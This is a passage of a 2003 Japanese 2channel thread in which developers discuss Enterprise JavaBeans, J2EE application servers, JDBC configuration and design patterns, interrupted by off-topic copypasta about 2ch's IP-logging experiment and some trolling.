WO厨が出てきたな。またWebProg板みたいに集団自作自演で自賛して荒らすつもりか?
EJB以外の話を少しでもしたらそっこー退場願うからな。


0383デフォルトの名無しさんNGNG
>>382
何かイヤなことでもあったか?
自分自身が、厨発言してることに気付けよ(w
0384デフォルトの名無しさんNGNG
結局EJBって何ができるの?
あるとないとはどう違うの?
0385HTMLと何かで・・・NGNG
掲示板の作り方教えてくれーーー!!!
↑名スレの予感・・・!!?
0386デフォルトの名無しさんNGNG
金がないならTomcat&JBossでエエヤン。
0387デフォルトの名無しさんNGNG
Sun ONEもタダ。
0388デフォルトの名無しさんNGNG
かなりしょぼい質問ですいません。
IIS,tomcat,ejbを試しています。
EJBからオラクルに接続したいのですがjdbcの設定方法が
分かりません。ドキュメントは読んだつもりです。

どうすればいいのか教えてください。
関連サイト等ありましたらそちらもお願いします。
0389デフォルトの名無しさんNGNG
>>388
> IIS,tomcat,ejbを試しています。

ejbというソフトウェアは聞いた事ないのですが、何者ですか?

> ドキュメントは読んだつもりです。

「つもり」じゃだめ。ちゃんと読みましょう。
0390デフォルトの名無しさんNGNG
WebSphere 4.0 AEsはホットデプロイできなかったような気がする

0391デフォルトの名無しさんNGNG
SunONEって、iPlanetノコトだったのね。
Sun版WebSphereグループって感じだね。

iPlanetのAP鯖の基本構成が無料になったんだねえ・・・
J2EEのSDK付属のJ2EEサーバRIとなにが違うのかな?
ソースコードいっしょだったりして。
0392デフォルトの名無しさんNGNG
初心者なので外した質問かもしれませんが・・。
リモートインターフェースとローカルインタフェースの使い分けってみなさんどうしてますか?
なんか実質的な違いがよくわからないのですが。
リモートインターフェースなら、ローカルでもリモートでも動くから、
全部リモートで実装しちゃいかんのでしょうか?

0393デフォルトの名無しさんNGNG
>>392
リモートインターフェイスをつかうと、
EJBのメソッドアクセスは全てTCP/IPによる通信経由(例え同一
マシン上でも)になるので、頻繁にアクセスすると遅くなるよ。

あるEJBのgetterやsetterを繰り返しアクセスするようなつかい方
をするなら、EJBの配置方針によっては、ローカルIFを使用してネ
ットワーキングを無駄にくりかえす愚行を回避することを、検討し
ましょう。

それが問題ないなら、どちらでも好きにしてちょ〜。
ValueObjectやEJBのProxyObjectを使用すればある程度
リモートIFでもこの問題を解決できるので、配置によって
はこれらの採用も考えてちょ。
0394デフォルトの名無しさんNGNG
ValueObjeceパターンはEJBやる場合は必須だと思われ。
このパターンを使わないで「EJB遅い」っていわれても困るよなー。

その次は、DataAccessObjectパターン、SessionFacadeパターンあたりが
重要かな?

0395392NGNG
>>393
>リモートインターフェイスをつかうと、
〜
>ットワーキングを無駄にくりかえす愚行を回避することを、検討し
>ましょう。
やはりそういう問題ですか・・・。
使えるマシンの数とか分散のさせかたとか、不透明なんですが、
とりあえずローカルで実装して、リモートにしなきゃなんないものだけ、
(切り分けポイントを考慮しつつ)必要に応じてリモートに変えるってのが、
妥当なやり方ですかね。そうします。

>ValueObjectやEJBのProxyObjectを使用すればある程度
>リモートIFでもこの問題を解決できるので、配置によって
>はこれらの採用も考えてちょ。
その辺りは全然知りませんでした勉強してみます。

ありがとうございました。
0396デフォルトの名無しさんNGNG
>>394
ValueObjectの発想は、EJBに限らず分散処理では当たり前の話
だよねえ・・・
別にパターンとして公表されてなくても、やってて当然だと思う
んだけど、物を知らないくせに分散処理やりたがるアホが最近
おおくて・・・(泣

CLASSPATHが分かりません云々・・・と同レベルのFAQとして扱う
べきだよね(藁
0397デフォルトの名無しさんNGNG
http://www.hyuki.com/dp/cat_Patterns.html
0398デフォルトの名無しさんNGNG
>>391
パフォーマンスを改善したみたいよ。
あと、デプロイにsun-application.xmlを使うのが違う。
0399デフォルトの名無しさんNGNG
ValueObjectの発想って、オブジェクト指向的じゃないから、
分散オブジェクトをやりはじめたころは、
ホントにこんなのでいいの?って思わなかった?
少なくとも俺にとっては当然なものではなかったな。
0400388NGNG
オラクル接続のためのEJBでのJDBC設定ですが
どのドキュメントに載っているで良いので教えてください。

自分が見たのは他のDBに接続することもできるとか
そういう記述しかなくて分かりませんでした。
0401デフォルトの名無しさんNGNG
>>400
OracleのJDBCドライバの説明書に載ってんじゃないのか。
・・・割れ物かよオイ(藁 説明書はフリーだからサイトいって
落してきなさい。
0402デフォルトの名無しさんNGNG
>>401
そうなんですか。オラクルの方ですか。ありがとうございます。
割れ物じゃありませんよ。ちょっと会社で試していました。
0403デフォルトの名無しさんNGNG
>>400
EJBでJDBC接続ってことは、APサーバに
データソース作ったり、JNDI設定してやるのが普通だと思うけど、
そんなのはもう分かってる?
一応、APサーバのドキュメントも見た方がいいよ。
0404デフォルトの名無しさんNGNG
>>403
どうもありがとうございます。
あまり良く分かっていません。
今はcloudscapeを使っているサンプルアプリを
オラクルに接続して試してみたいと思っている段階です。
0405デフォルトの名無しさんNGNG
質問お願いします。
runclientで立ち上げたプログラムはどうやってとめるのでしょうか?
それから立ち上がっているプログラムを一覧表示することはできないのでしょうか?
0406デフォルトの名無しさんNGNG
>>405
環境書いてから。
0407405NGNG
すいません。
win2000
j2se1.4
j2ee1.3
です。
0408デフォルトの名無しさんNGNG
>>407
J2EEのリファレンス実装というやつか?
とりあえず、runclientとかいうのはバッチファイルかな。
マニュアルに止め方が書いてなければ、Ctrl+Cで止めるんじゃないの。
ひょっとしてコマンドプロンプトとかよく知らない新人プログラマ?
あと、立ち上がっているプログラムを一覧表示ってどういう意味よ?
0409デフォルトの名無しさんNGNG
>>408
いえ、コマンドプロンプトの使い方は分かります。
Ctrl+Cなんですかね。起動するコマンドはあって停止するコマンドがない
のが不思議でした。

>あと、立ち上がっているプログラムを一覧表示ってどういう意味よ?
runclientで立ち上げたプログラム(アプリケーション?)の
一覧があるとhttp://----:8000/
のあとに書く文字が分かりやすいと思ったので質問しました。
もちろんdeploytoolで見れば分かるのですが、、

もしかしてrunclientで一度実行したものはもう一度実行する
必要はないのでしょうか?再起動後も
0410デフォルトの名無しさんNGNG
>>409
使っているの、Sunのページから落とせるJ2EEだよね。
他のアプリケーションサーバじゃなくて。
なんとなく勘違いしているんじゃないかと思うんだけど、
runclientって、クライアント側プログラムの起動スクリプトじゃない?
何がクライアントで、何がサーバで動いているのか、イメージはできている?
もしも出来ていないようなら、質問する前に先にちょっと
本でも買って勉強した方がいいよ。
0411デフォルトの名無しさんNGNG
>>404
cloudscape ってことは、多分J2EE RI(リファレンス実装:つまり、SDKについてくる、おまけの環境)
を使ってると思うんだけど、(別の製品を使ってるなら、その名前がないと答えられない)。

とりあえず、JDBCを直で使ってるなら、
J2EE_CLASPATH にオラクルのJDBCの jar ファイルを追加してやればいいはず。

CMP で使う場合は、まずそのままでは deploytool の作業がうまくいかないはずだから、
「インストールの構成」(だったかな)で「データリソース」「標準」の設定に オラクルを追加する
必要がある(はず、私はやったことない。詳しくは deploytool のヘルプを参照してください)。
0412409NGNG
>>410,411
ありがとうございます。
教えていただいた箇所をよんで見ます。
0413U ◆CZtFsGiu0c NGNG
>>399
昔CORBA使って開発していた時はstruct使いまくってた。でないと
パフォーマンス出なかったし。クライアントがWin3.1の時代だったから今より
条件厳しかったからね。

でも今でも結局あんまりやることは変わってないんだよね。結局パフォーマンス
ネックってディスクとネットワークのI/Oだから。
0414デフォルトの名無しさんNGNG
EJBを使うべきPRJというのがいまいちピンとこない
servlet + jsp + bean
でも まともなWEBアプリつくれるんですよね。


0415デフォルトの名無しさんNGNG
>>414
中〜大規模で、オブジェクト指向を的確に理解する技術者をある程度確保できていて、
かつ先のメンテナンス性や拡張性を意識する余裕があるプロジェクトだったら、
EJB採用は有効だよ。
0416デフォルトの名無しさんNGNG
>415
アリガト。EJBと聞くと servlet+ jsp + beanだけと比べると めんどくさそうな
定義があって悩んでいたが、スッキリした。 とはいっても
javaアプリ開発するのは、はじめてなんだけどな とはいっても
apache + tomcat + jbuilderでプロトタイプはつくったんだけどね。
0417デフォルトの名無しさんNGNG
しかし、>>415のような条件に恵まれるケースは、極めて希かも。
0418デフォルトの名無しさんNGNG
Cosminexus を使おうかと思うんだけど、だれか使っている人いるの?
あれについてる cfremework は使えるフレームワークなの
0419デフォルトの名無しさんNGNG
あげ
0420デフォルトの名無しさんNGNG
>>418
フレームワークはフレームワークだけど。
Cosminexus って下請け以外で使っているところあるの?
0421デフォルトの名無しさんNGNG
EJB 使ったことがない人間の素朴な疑問なんですが、EJB って中でスレッド立てちゃ
いけないとかローカルファイルにアクセスしちゃいけないとかいろいろ制限あった
よね? まぁ EJB の構造を見れば理由は分かるんだけど、動作ログとかの出力どう
やってるんすか? まさか全部 DB じゃないよね?

>>418
この間 IBM からのシステム移行に失敗した日立のビックカメラサイトは Cosminexus だったな…
0422デフォルトの名無しさんNGNG
>>420
関連会社はWebLogic使ってたよ。
0423デフォルトの名無しさんNGNG
>ローカルファイルにアクセスしちゃいけない
こんなんあったかなぁ…
>420のcFrameworkではlog4jでログとってるけど…
0424デフォルトの名無しさんNGNG
>ローカルファイル・・・
EJBコンソーシアムのポータビリティに関する規約にはあります。
ローカルファイルにアクセスしるコードは別のクラスに汁。だたよな・・
0425デフォルトの名無しさんNGNG
"The enterprise bean must not attempt to directly read or write a file descriptor.
Allowing the enterprise bean to read and write file descriptors directly could compromise security.."
      ―――Enterprise JavaBeansTM Specification,Version 2.0 24.1.2より
確かに。まあ、クラス別にするだけだから別にいいか…普通こんなことしないだろうし。
0426デフォルトの名無しさんNGNG
素朴な質問です。
webobjectsってかなりいいと思うのですが、
それを使わずj2eeを使うというのはどうしてでしょうか?

やはりwoはマイナーだからでしょうか
0427デフォルトの名無しさんNGNG
>>426

WOは使ったことないので聞きたいのですが、2フェーズコミットはできるの
でしょうか?
0428デフォルトの名無しさんNGNG
>>426
すいません。WOは使っていましたがまだまだあまちゃんなので
分かりません。EOF任せにしていました。
0429デフォルトの名無しさんNGNG
漏れも、WebObjectsでは、EOF任せですな。
なにせ、WebObjectsは、百万回死ぬほどマイナーなので、
WebLogicとかWebSphereなんかのメジャー製品を使うほうが、
よほどメリットがあると思いまつよ。
0430デフォルトの名無しさんNGNG
>>427
あれのJTSはTyrexだからできるはずだよ。
ただし、まともに動くかはわからん(w

Tyrex 1.0たまに使ってるけど、結構ボロボロ。
0.9.7の時よかはるかにマシだけどさ。
0431427NGNG
>>430

気になって、appleのページを見に行ったら、WOってEJBもサポートするように
なってるんだね。
0432デフォルトの名無しさんNGNG
>420
安いから使おうぜと 思っているんだけどな あまちゃんだろうか


0433デフォルトの名無しさんNGNG
Tyrex ってなに?
0434デフォルトの名無しさんNGNG
>>433
ちったぁググれよ、馬鹿
http://www.google.com/search?hl=ja&ie=UTF-8&oe=utf-8&q=Tyrex+EJB&btnG=Google+%E6%A4%9C%E7%B4%A2
0435デフォルトの名無しさんNGNG
複雑なトランザクションて?
どんなの
俺そんなトランザクションかけたことないんだけど(w
0436デフォルトの名無しさんNGNG
jsp とか bean servlet のネーミングはどうしてる。
だれかおしえてくれ。
0437IP記録実験NGNG
IP記録実験
http://qb.2ch.net/test/read.cgi/accuse/1042013605/

1 名前:ひろゆき ◆3SHRUNYAXA @どうやら管理人 ★ 投稿日:03/01/08 17:13 ID:???
そんなわけで、qbサーバでIPの記録実験をはじめましたー。

27 名前:心得をよく読みましょう 投稿日:03/01/08 17:20 ID:yL/kYdMc
SETTING.TXT管轄でないということは全鯖導入を視野に、か?

38 名前:ひろゆき ◆3SHRUNYAXA 投稿日:03/01/08 17:22 ID:rLfxQ17l
>>27
鋭いです。

73 名前:ひろゆき ◆3SHRUNYAXA 投稿日:03/01/08 17:27 ID:rLfxQ17l
>ところで、IPが抜かれて何か今までと変わることってあるのでしょうか?
・今までより、サーバが重くなる。
・裁判所や警察からの照会があった場合にはIPを提出することがある。
0438デフォルトの名無しさんNGNG
WeblogicのStateless Session Beanの中のクラスから、
自ホスト名とリスンポート番号知りたいんですが、
どーすりゃいいでしょう?
localhost:7001みたいな。
0439デフォルトの名無しさんNGNG
正直、Tomcatなみに簡単に導入できるEJB対応APサーバが出現しない限り、EJBはいっこうに身近にならないだろうな。

TomcatがEJBコンテナ実装してくれればいいんだろうけど、望み薄だし・・・
JBoss+Tomcatというのもなんか煩雑な感じがして嫌だし・・・
Enhydraはオープンソースとしては終わっちゃったという噂だし・・・
SunONEは無料らしいけど使ったことないし・・・
J2EE RIではなんかしょぼいし・・・

0440デフォルトの名無しさんNGNG
実験されてみる。
0441デフォルトの名無しさんNGNG
実験されてみる。
0442デフォルトの名無しさんNGNG
IPだけ?
0443デフォルトの名無しさんNGNG
テスト2
0444デフォルトの名無しさんNGNG
>>245
つうか、いつもはちょっと書き込んですぐ引っ込むたかゆきがずっと同じスレに書き込んでるだけでも、この実験が大きな意味があるんだろうとか感じられる。と楷先生が言ってました
0445デフォルトの名無しさんNGNG
ひろゆきって・・
挙動不振じゃないかい?
0446デフォルトの名無しさんNGNG
>>484
ぜ、全然気にしてません(。´Д`)
0447IP記録実験NGNG
IP記録実験
http://qb.2ch.net/test/read.cgi/accuse/1042013605/

1 名前:ひろゆき ◆3SHRUNYAXA @どうやら管理人 ★ 投稿日:03/01/08 17:13 ID:???
そんなわけで、qbサーバでIPの記録実験をはじめましたー。

27 名前:心得をよく読みましょう 投稿日:03/01/08 17:20 ID:yL/kYdMc
SETTING.TXT管轄でないということは全鯖導入を視野に、か?

38 名前:ひろゆき ◆3SHRUNYAXA 投稿日:03/01/08 17:22 ID:rLfxQ17l
>>27
鋭いです。

73 名前:ひろゆき ◆3SHRUNYAXA 投稿日:03/01/08 17:27 ID:rLfxQ17l
>ところで、IPが抜かれて何か今までと変わることってあるのでしょうか?
・今までより、サーバが重くなる。
・裁判所や警察からの照会があった場合にはIPを提出することがある。
0448デフォルトの名無しさんNGNG
ybb?
0449デフォルトの名無しさんNGNG
民家倒壊?
0450デフォルトの名無しさんNGNG
>>115
会社とか店とかはありそうだね・・
0451デフォルトの名無しさんNGNG
======2==C==H======================================================

         2ちゃんねるのお勧めな話題と
     ネットでの面白い出来事を配送したいと思ってます。。。

===============================読者数: 138720人 発行日:2003/1/9

年末年始ボケがそろそろ収まり始めた今日このごろのひろゆきです。

そんなわけで、年末に予告したIP記録ですが実験を開始しています。

「2ちゃんねる20030107」
こんな感じで各掲示板の最下部に日付が入ってるんですが、
20030107以降になってるところはログ記録実験中ですー。

んじゃ!

────────────────────────Age2ch─
■この書き込みは、Age2chを使って配信されています。
────────────────────────────
Keep your thread alive !
http://pc3.2ch.net/test/read.cgi/software/1041952901/l50
────────────────────────────
0452デフォルトの名無しさんNGNG
>>713
ぅ
 ゎ
  ぁ
0453デフォルトの名無しさんNGNG
>>546
なんか普通にalt+F4で消せるから大丈夫。
0454デフォルトの名無しさんNGNG
かなり深夜で気を使うのもやはり個人的にあるので
簡単にココで情報を交換してからに致したく存じます。

あと、以前僕のワード文書をクラックして消したなら
出来たらくれると嬉しいです。
非常に大事な段階で消えたので。
・・もし心当たりが無いなら仕方ないです。 
0455デフォルトの名無しさんNGNG
ねもい。。
0456デフォルトの名無しさんNGNG
IP記録実験
http://qb.2ch.net/test/read.cgi/accuse/1042013605/

1 名前:ひろゆき ◆3SHRUNYAXA @どうやら管理人 ★ 投稿日:03/01/08 17:13 ID:???
そんなわけで、qbサーバでIPの記録実験をはじめましたー。
0457デフォルトの名無しさんNGNG
>>432
つまり、内容証明郵便によるもの以外の削除依頼は対応しなくても法律上問題ないって事だね。
0458デフォルトの名無しさんNGNG
>>939 余裕で公開されていますが…。
【危機】レスの真実性・相当性の立証責任がひろゆきにある【判決】
http://news.2ch.net/newsplus/kako/1026/10261/1026145775.html
0459デフォルトの名無しさんNGNG
最近使ってないんだけどちょっとは速くなった? 新しいネタない?
0460デフォルトの名無しさんNGNG
>>573
世の中サヨとネットと圧力で出来てると思っているお前のような奴のほうが
世の中にとっては役に立たない
0461デフォルトの名無しさんNGNG
空気を読まずにカキコ。

粘着くんは別にめずらしくないし、誰にでも1粘着付いておりますので(笑
気にすることないですよ。>ゲリーさん

遅ればせながらご結婚おめでとうございます。>腐れ33男★さん

でわ。
0462デフォルトの名無しさんNGNG

Jane使えば一目瞭然
0463デフォルトの名無しさんNGNG
>>407
はい よろしくお願いします
0464デフォルトの名無しさんNGNG
終わったな
ま、ひろゆきは何も悪いことはしないわけだが
0465デフォルトの名無しさんNGNG
避難先はどこ?
0466デフォルトの名無しさんNGNG
荒らしがおさまるまでWebProg板に避難しましょう。

■■ Servlet/JSP(EJB含む) 質問スレ ■■
http://pc.2ch.net/test/read.cgi/php/1023501812/

0467デフォルトの名無しさんNGNG
さん
この展開は、夜勤さんがお好きそうな展開ですわ(笑)
0468デフォルトの名無しさんNGNG
快速がレスつけてんの半年ぶりぐらいに見た
0469デフォルトの名無しさんNGNG
快速2get!
0470デフォルトの名無しさんNGNG
======2==C==H======================================================

         2ちゃんねるのお勧めな話題と
     ネットでの面白い出来事を配送したいと思ってます。。。

===============================読者数: 139038人 発行日:2003/1/10

なにやら、連日メルマガだしてるひろゆきです。

そんなわけで、ログ記録実験ですが、いちいちサーバ指定するのが面倒なので、
全部のサーバに入れてみました。

重くなって落ちたりしてもご愛嬌ってことで。。。

んじゃ!

────────────────────────Age2ch─
■この書き込みは、Age2chを使って配信されています。
────────────────────────────
Keep your thread alive !
http://pc3.2ch.net/test/read.cgi/software/1041952901/l50
────────────────────────────
0471デフォルトの名無しさんNGNG
別に悪いことしないので、全く問題ない。

でも、美咲タンが出てこなくなったらイヤだな。
0472デフォルトの名無しさんNGNG
タイーホ続出のナイスな予感
0473デフォルトの名無しさんNGNG
そこらじゅうにコピペしてる香具師は何者?激しくウザいのだが
0474デフォルトの名無しさんNGNG
全書き込みIPアドレスを表示しましょう。
そうすれば 無 責 任 な発言は減りますよ。
0475デフォルトの名無しさんNGNG
誰か2ちゃん運営側で匿名堅持のために新掲示板作るやつはいないのか?
0476デフォルトの名無しさんNGNG
10人殺したら、超えてるような
0477デフォルトの名無しさんNGNG
責任もてない奴は書き込みをするなってことです( ̄ー ̄)
0478デフォルトの名無しさんNGNG
>あめぞうより2ちゃんのほうが質が良かった時代
 そんな時代はありませんでしたが、何か?
0479デフォルトの名無しさんNGNG
( ´,_ゝ`)プッ
糞荒らしなんとか言ってみろや(藁
0480デフォルトの名無しさんNGNG
2ちゃんねる が衰退していく

あるネット関連会社の社長は、
「いずれにしても2ちゃんねるは資金が底をつけば終わり。
あまり知られていないことだが、2ちゃんねる内部関係者によると今、
大手通信会社系が調査費名目で資金提供している。
だが、それが止まれば続けてはいけないだろう」
と証言する。
2ちゃんねるが判決によって力を失った場合、
資金提供の打ち切りも予想される。

http://ascii24.com/news/reading/causebooks/2002/07/01/636911-000.html

0481デフォルトの名無しさんNGNG
GAっていつのまに2ちゃんねるアニメランキング1位になったんだ?(w
0482デフォルトの名無しさんNGNG
gannbattekudasai
0483山崎渉NGNG
(^^)
0484デフォルトの名無しさんNGNG
訴えられると捕まるは全然違うだろう。
0485デフォルトの名無しさんNGNG
これも再開期待age
0486山崎渉NGNG
(^^)
0487デフォルトの名無しさんNGNG
分散トランザクションて?
そんなにリソース(DB)を複数使うとことて
あるのですか?
それと最近んのIDEはどうですか
EJBが簡単に作れますか
0488デフォルトの名無しさんNGNG
>>487
RDB+MQという組み合わせで2つ使うことは意外にあるのでは?うちはそう。
IDEでEJBウィザードは多くなってきたが、WASだのSunONEだのAPサーバへの
依存度が高いのが難点かな?
ただEntity Beanならともかく、Session BeanをわざわざIDEで作る必要が
あるかどうか俺にはわからない。
0489デフォルトの名無しさんNGNG
>>ただEntity Beanならともかく
確かにめんどうだよな。IDEはJbuilder
ならマルチブラットホームでは。それ以外は ・・・確かに。
ちなみにJdeveloper9なかなかいける。
クラス図からソース生成ができる(標準で組み込まれている)
なぜか評判になっていない。

0490デフォルトの名無しさんNGNG
>>489
ブラットホームってなんだよw

クラス図からソース吐き出せるだけなの?
TogetherControlCenterならラウンドトリップできるよ。
クラス図書いたらソースができてて、ソース直したらクラス図も変更されてる
とりあえず、Windowsと主要なUNIXではうごくぽい
0491デフォルトの名無しさんNGNG
>>489
>>ブラットホームってなんだよw
アプリケーションサーバが複数に対応していること。
web shere stdioからだとweb logic のejbつくれないだろ。
TogetherControlCenterて値段は高いんじゃないの?
9iは標準でついている。持ちろんラウンドトリップもできる(はず)
iiossは無料だけど使い勝手は????


0492デフォルトの名無しさんNGNG
http://www.google.co.jp/search?q=%E3%83%96%E3%83%A9%E3%83%83%E3%83%88%E3%83%9B%E3%83%BC%E3%83%A0&ie=UTF-8&oe=UTF-8&hl=ja&lr=lang_ja
ネタかマジかはもうどうでもいいや。

ところでソース生成機能すらついてないモデリングツールって未だにあんの?
0493デフォルトの名無しさんNGNG
>>ところでソース生成機能すらついてないモデリングツールって未だに
>>あんの
モデリングツールじゃなくて開発ツールのこと。
いまのところJbuilderはソースからUMLを生成
するだけ。webshere,sun oneなどは標準ではない
eclipseはプラグインつかうだけ。
要するにJBも別に金だして買えと。
それにつかいがってよくない。
それならvision good

0494デフォルトの名無しさんNGNG
JBuilderの中の人も大変だなあ。
0495デフォルトの名無しさんNGNG
Session Beanの中の人も大変だなあ。
0496デフォルトの名無しさんNGNG
EJB・Strtus・tagLIB・APPSERVER
みなさん本当にこれだけみんなマスタできています?
覚えるの多すぎ
0497デフォルトの名無しさんNGNG
マスターしなきゃ使いこなせないような奴はプログラマ向きじゃない
0498デフォルトの名無しさんNGNG
>>マスターしなきゃ使いこなせないような奴はプログラマ向きじゃない
その前に日本語勉強しましょう(w
0499デフォルトの名無しさんNGNG
マスター(初心者用語) : 仕様を隅から隅まで暗記した状態
0500デフォルトの名無しさんNGNG
500
0501デフォルトの名無しさんNGNG
ひとつ聞きたい。
EJBついかわなくてもいいんじゃないていうシステム多いんじゃない?
そんな気が・・・
0502デフォルトの名無しさんNGNG
>>501
1.APサーバー/ハード売りとの抱き合わせ商法。あるいは工数嵩上げの口実。
2.最先端の技術を(例え無意味でも)「使っている」ことで売りにする営業の詐欺トークの結果。
3.ソケットプログラミングできません。RMIもCORBAも分かりません。
4.いちどEJBで作ってしまえば、その後の保守作業まで囲い込めます。

ダークですが単純な理由ですよ。
0503502NGNG
一番大きな理由を忘れてた。
5.プロジェクトを利用して自社技術者にEJBテクノロジを覚えさせた。
 お客さんは実験に金を払わされたわけね。

ろくでもない会社ばっかりだ。
0504デフォルトの名無しさんNGNG
>>502
EJB使ったからって簡単には工数増えんだろ。
客は「新技術」 = 「工数削減」って思ってるんだから。

EJB使ったら逆に増えるんだよなぁ(T_T)

2,5だろうな。最大の理由は。
0505デフォルトの名無しさんNGNG
漏れは逆にEJB使うのが当たり前。JBossとかJRun使ってガンガン作ってるよ。最近はSun ONEも使う。
もともとCOM+出身だったから、「ビジネスロジックはステートレスで!」とか
「ビジネスロジックのオブジェクトは必要最低限のインスタンスだけコンテナにプーリングさせて
複数セッションから使いまわす!」というのが自分にとっての常識だったワケね。
そうすると必然的にビジネスロジックコンポーネントはTPモニタ的なコンテナの上で動く必要があるじゃん?
(OLTPやったことある人なら分かると思うけど)
だからその頃のノリで、今はEJBでStateless Session Beanをガシガシに使ってるよ。
ローカルなJavaBeansで同じことを実現しようとするとこうはいかないでしょ?
Servletコンテナの上にわざわざSingleton積んで、自前でプーリングやらライフサイクル管理やら行う
コンテナもどき作らなきゃならない。
そんなだったら最初からあるEJBコンテナ使ったほうが信頼性あるし生産性あがるしラクっていうのが
漏れがEJB使ってる動機なんだけど、そういうこと考えている人って少ないのかな?
0506デフォルトの名無しさんNGNG
てゆうかJ2EEシステム作る時は、規模の大小に関わらずデフォルトでEJB使用ですが何か?
ウィザードというか雛型を一回作ってしまえば、JavaBeansで作るのとSession Beanで作るのに工数的な違いはない。
無料のEJBコンテナも出回ってきてるしな。
とっつきは難しいが、一回慣れてしまえばやっぱ楽だよEJB。

EJB=WASやWLS=高価で大規模なシステムONLYという図式はそろそろ古くなってきてる予感。

0507デフォルトの名無しさんNGNG
>>EJB=WASやWLS=高価で大規模なシステムONLYという図式はそろそろ古くなってきてる予感。
たしかに。でもまだまだだよ。javaマスタするのに時間かかりすぎ。
あるプロジェクトjavaでも開発失敗してPHPでしているし(ダイエーOEM)
もっと使いやすいツールがでなきゃ。
0508デフォルトの名無しさんNGNG
正直、一番初心者向けのEJB対応APサーバはJ2EE RIだと思う。
セットアップは簡単。設定は必要最小限。他のソフトと連動させる必要なし。デプロイツールは附属。デプロイも簡単。
TomcatでServlet+JSPの勉強するくらいなら、RIでServlet+EJB+JSPの勉強したほうがいいと思う。

0509デフォルトの名無しさんNGNG
教えてください
あるStatefull SessionBean内に、既に存在する別のローカルインターフェースの
Statefull SessionBeanの参照を保持したいときどうしたらよいのでしょうか?

ローカルインターフェースなのでHandleつかえないし、ローカルインターフェース
そのままインスタンス変数に持つのはEJBLocalObjectの実体はシリアライザブルじゃ
なさそうでActivate/Passivate問題ありそうだし..

0510デフォルトの名無しさんNGNG
>>all
EJBパターン読んどけ
http://www.amazon.co.jp/exec/obidos/ASIN/4822281523/
0511デフォルトの名無しさんNGNG
JavaBeans+Singletonでコネクション管理クラスとか使うくらいなら素直にSession Bean使えよ!って思うことがある。
@IT掲示板でも今JaveBeansをどうやってSingletonで管理するか?みたいな議論やってるけど。
Singleton使うとデザインパターン使いこなしている気分に浸れるからウケがいいのかな?俺はあまり好きではないが。
インスタンス数管理とかActive/Passive機能とかを自作Singletonで実装するなんて考えるとぞっとする。
0512デフォルトの名無しさんNGNG
>>510
それってPDF無料で手に入るやつの日本語版?
0513デフォルトの名無しさんNGNG
>>511
他人の作ったマルチスレッド前提のフレームワークと自作ナニカカンリ用
Singletonクラスって非常に相性悪いよね。よく考えないとすぐ同
期のワナに引っかかる。

スレッドごとにどのようにタスクがスケジューリングされるのか
把握しきれないような仕組みのうえで、安易にSingleton使う奴
は、最近よくいる「生兵法GoFかぶれのオナニーバカ技術者」と
いう認識でおりますが、まちがってますでしょうか?
0514デフォルトの名無しさんNGNG
ちょっとスレともスレタイからも外れるんですけど
メタファイルってなんのことでそか?
0515デフォルトの名無しさんNGNG
かなりスレ違い

ネタファイル(ネタ帳)は芸人の魂。

オクレ兄さんのネタファイルにもびっしり書込みしてあったなあ。
0516デフォルトの名無しさんNGNG
広義には、ファイル自体の情報を記述したファイルのこと。
J2EE狭義ではEARやWARやJARのMETA-INFに格納されているアーカイブ自身の情報を記述したファイルのこと。
0517デフォルトの名無しさんNGNG
無料で使えて業務にも使用可能というSun ONEを落としてみたのだが・・・
EARを作成するツールが附属していない。SunONE Studio必須なのか?
この手のツールくらい必須で用意しておけよ。
RIで作ったEARをデプロイしようとすると原因不明のエラーで落ちるし・・・。
これならRI使いつづけたほうがマシだな。
0518デフォルトの名無しさんNGNG
JakartaはEJB対応APサーバを作るつもりはないのかな?
0519デフォルトの名無しさんNGNG
>>スレッドごとにどのようにタスクがスケジューリングされるのか
>>把握しきれないような仕組みのうえで、安易にSingleton使う奴
>>は、最近よくいる「生兵法GoFかぶれのオナニーバカ技術者」と
>>いう認識でおりますが、まちがってますでしょうか?
どうやって回避するの?
シンクロナイズをつかって同期とるの

0520デフォルトの名無しさんNGNG
>>518
あなたが作ってコミットしてください
0521デフォルトの名無しさんNGNG
>>520
そういう戦略的な判断とかソフト提供の方向性は、最上位に存在する人たちでなければ決められないんじゃなかったっけ?
ちなみにコミッタは日本人は1人もいないっていうのは本当?
0522デフォルトの名無しさんNGNG
>>520
まずは物を作ってある程度評価されるようになってから寄贈するのが近道かと。
Tomcatからして元はSunからの寄贈だし、log4j・ Strutsなんかも他から移ってきたものだな。
xml.apache.orgも寄贈されたものが多いな。crimsonやxercesなど。
0523522NGNG
>>522
>>521の間違い
0524デフォルトの名無しさんNGNG
>>513
513の言っている意味がほとんどわからん。
少なくともあんたがスケジューラとマルチスレッドを理解していないのがわかるが。

「オナニーバカ技術者」 = 513
0525デフォルトの名無しさんNGNG
>>509
>ローカルインターフェースなのでHandleつかえないし、ローカルインターフェース
>そのままインスタンス変数に持つのはEJBLocalObjectの実体はシリアライザブルじゃ
>なさそうでActivate/Passivate問題ありそうだし..

javax.ejb.EJBLocalObjectだけをみればそうかもしれないが、実際にこのinterfaceを
implementsしているクラス(スタブ)は Serializable になっているのではないですか?

試しに、以下のように判定してみては?

MyLocalSessionBean xxxxx = ....;
if( xxxxx instanceof java.io.Serializable )
{
System.out.prinltn("シリアライズ可能!!");
}
0526デフォルトの名無しさんNGNG
タダでJ2EE実装フルセットをそろえる方法:
1.Apache+Tomcat+JBoss+openJMS
2.SunOneServer7 PlatfromEdition
3.J2EE SDK付属のRI(ワラ

1でいろいろ苦労するより2のほうが楽そうですね。
2は、実は3でできてるらしいけど…
あと2はWinNT版とSolaris版しかないみたい。

もっといい選択枝ってあります?JMS実装を必要と
することって、今までありましたか?
0527デフォルトの名無しさんNGNG
学習目的なら、
J2EE RI(>>508には同意)
WebSphere AEsの評価版(期限は半年、超過しても再インスコすればまた半年使える)
実運用したいなら、
Apache+Tomcat+JBoss(面倒くさいよなぁ・・・)
Sun ONE Application Server
といったところか?

Sun ONEは情報が少なすぎるよ。
0528山崎渉NGNG
(^^)
0529名無しさんNGNG
EJBってトランザクション気にしなくていいの?
プロジェクトに参加してる人全員気にしなくても大丈夫なの??
0530デフォルトの名無しさんNGNG
>>529

EJBのメソッド内は基本的には1つのフラットトランザクションとして実行
され、その中でコミットなどは書かなくてもいい(というより書けない)の
で、複雑な仕組みを自分で考える必要がないだけ。

トランザクションがどういうものか知らない人が簡単に作れるかというと
そうでもない。
0531デフォルトの名無しさんNGNG
>>530
SessionBeanだったら、Bean Managed Transaction(BMT)というタイプが
可能なので、JTA/JTSを使ってSessionBean内部でcommit()とかできるでしょ?
0532デフォルトの名無しさんNGNG
分散トランザクションて?
